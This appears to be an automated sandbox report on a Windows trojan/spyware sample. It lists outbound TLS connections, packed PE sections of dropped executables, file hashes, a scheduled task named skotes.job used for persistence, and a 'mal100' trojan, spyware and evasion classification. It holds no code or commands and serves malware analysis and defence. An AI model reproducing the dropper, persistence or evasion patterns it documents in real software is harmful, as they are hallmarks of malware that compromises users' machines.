Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50082 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50117 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 760934cb92.exe, 0000000D.00000000.3024294213.0000000000932000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_b846f0eb-7
Source: 760934cb92.exe, 0000000D.00000000.3024294213.0000000000932000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_923826cd-a

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: 7YW0363WEKP7ULOI0QRA.exe.0.dr	Static PE information: section name:
Source: 7YW0363WEKP7ULOI0QRA.exe.0.dr	Static PE information: section name: .idata
Source: S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe.0.dr	Static PE information: section name:
Source: S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe.0.dr	Static PE information: section name: .idata
Source: S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe.0.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: 58ce8f976c.exe.8.dr	Static PE information: section name:
Source: 58ce8f976c.exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: 7451ae0b11.exe.8.dr	Static PE information: section name:
Source: 7451ae0b11.exe.8.dr	Static PE information: section name: .rsrc
Source: 7451ae0b11.exe.8.dr	Static PE information: section name: .idata
Source: 7451ae0b11.exe.8.dr	Static PE information: section name:
Source: W7N881PI98FKFOKWDI7HCS7W.exe.10.dr	Static PE information: section name:
Source: W7N881PI98FKFOKWDI7HCS7W.exe.10.dr	Static PE information: section name: .idata
Source: DP4Z2JGIRNCYT3CKHONMY.exe.10.dr	Static PE information: section name:
Source: DP4Z2JGIRNCYT3CKHONMY.exe.10.dr	Static PE information: section name: .idata
Source: DP4Z2JGIRNCYT3CKHONMY.exe.10.dr	Static PE information: section name:
Source: 8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe.12.dr	Static PE information: section name:
Source: 8EKC9XRWVAAE9N5ITBV1P67OSMSENNC.exe.12.dr	Static PE information: section name: .idata
Source: ZVNI3QDRJUMHB5ZEQG5Z2C.exe.12.dr	Static PE information: section name:
Source: ZVNI3QDRJUMHB5ZEQG5Z2C.exe.12.dr	Static PE information: section name: .idata
Source: ZVNI3QDRJUMHB5ZEQG5Z2C.exe.12.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00CBFB3F	3_2_00CBFB3F
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00CBFC9E	3_2_00CBFC9E
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00CBFCB2	3_2_00CBFCB2
Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe	Code function: 3_2_00CBFC06	3_2_00CBFC06
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Code function: 10_3_00F8DA12	10_3_00F8DA12

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe BF8C8B70BC76645BA18AB3D6A37B6139AC2D298F058C519AD36D458C4EBC5607
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D

Source: file.exe, 00000000.00000003.2318941071.00000000061B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321072848.00000000061B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325890209.00000000062B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325112299.00000000061B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323811108.00000000061BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328660266.00000000063CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328818863.00000000061C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325274850.000000000629F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329250672.00000000062D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329117807.00000000061BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320104346.000000000630E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320980871.0000000006266000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330978821.0000000006410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320414401.00000000061B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323436396.00000000061B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320901410.00000000061B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319323886.00000000061BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321311340.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319490038.00000000061B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332248638.00000000062E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2327913567.00000000061BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320807225.0000000006266000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324477917.0000000006368000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2326966384.00000000062AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333850293.00000000062E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319144098.00000000061C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2356036567.0000000005E12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322985617.0000000006287000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331219504.00000000061B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324787901.0000000006293000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324168177.00000000061B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321407236.0000000006329000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2327131195.00000000063A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325637606.0000000006381000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328040942.00000000062C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324965431.000000000637E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323546415.0000000006283000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334756237.0000000006301000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333305084.00000000061B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325391656.00000000061B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2350600484.00000000061BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319741109.00000000061B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321998967.0000000006278000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328406435.00000000061B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321509928.00000000061B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328530945.00000000062BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320205887.00000000061C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331903265.00000000061B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319828876.000000000625D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319580885.0000000006256000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322733454.00000000061BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319392104.0000000006255000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316092090.0000000006012000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323308535.0000000006284000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321775763.0000000006276000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330141871.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319042380.0000000006013000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325761799.00000000061B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322506016.00000000061B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323924989.000000000629E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328984239.00000000062E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2327389098.00000000062B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2327248753.00000000061B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331671263.0000000006400000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320619889.00000000061B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2327511039.00000000061B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2355962076.0000000005C47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322097921.00000000061B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324331585.000000000628D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330789753.00000000062E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329693433.00000000061B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324631309.00000000061B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316197557.00000000061BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322197814.0000000006277000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2335284337.00000000061B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331458473.00000000062D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2326089558.00000000061B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330394123.0000000006400000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329378127.00000000061BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334441911.00000000061B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328166137.00000000061B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321876657.00000000061B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329510972.00000000062D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332752311.00000000061B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2327667575.00000000062B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319913679.00000000061B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319232081.0000000006260000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334185859.000000000642C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322613454.0000000006286000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323700786.000000000635F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330585494.00000000061BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333086325.00000000062E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318794442.0000000006017000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2326375491.00000000061B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320004387.0000000006258000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320313282.000000000626F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322307781.000000000633E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323189146.00000000061BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2327787230.00000000063C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325511887.0000000006294000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316014923.0000000005E57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328269170.00000000062B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2326226963.00000000062A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320509839.0000000006263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9977836010971787
Source: S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9975146883514986
Source: S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe.0.dr	Static PE information: Section: jqddeztg ZLIB complexity 0.9945548160420475
Source: skotes.exe.4.dr	Static PE information: Section: ZLIB complexity 0.9975146883514986
Source: skotes.exe.4.dr	Static PE information: Section: jqddeztg ZLIB complexity 0.9945548160420475
Source: random[1].exe.8.dr	Static PE information: Section: ZLIB complexity 0.9977836010971787
Source: 58ce8f976c.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9977836010971787
Source: random[1].exe0.8.dr	Static PE information: Section: xpxnzipx ZLIB complexity 0.9946538036142771
Source: 7451ae0b11.exe.8.dr	Static PE information: Section: xpxnzipx ZLIB complexity 0.9946538036142771
Source: DP4Z2JGIRNCYT3CKHONMY.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9975146883514986
Source: DP4Z2JGIRNCYT3CKHONMY.exe.10.dr	Static PE information: Section: jqddeztg ZLIB complexity 0.9945548160420475
Source: ZVNI3QDRJUMHB5ZEQG5Z2C.exe.12.dr	Static PE information: Section: ZLIB complexity 0.9975146883514986
Source: ZVNI3QDRJUMHB5ZEQG5Z2C.exe.12.dr	Static PE information: Section: jqddeztg ZLIB complexity 0.9945548160420475

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@82/38@94/14

Source: C:\Users\user\AppData\Local\Temp\7YW0363WEKP7ULOI0QRA.exe

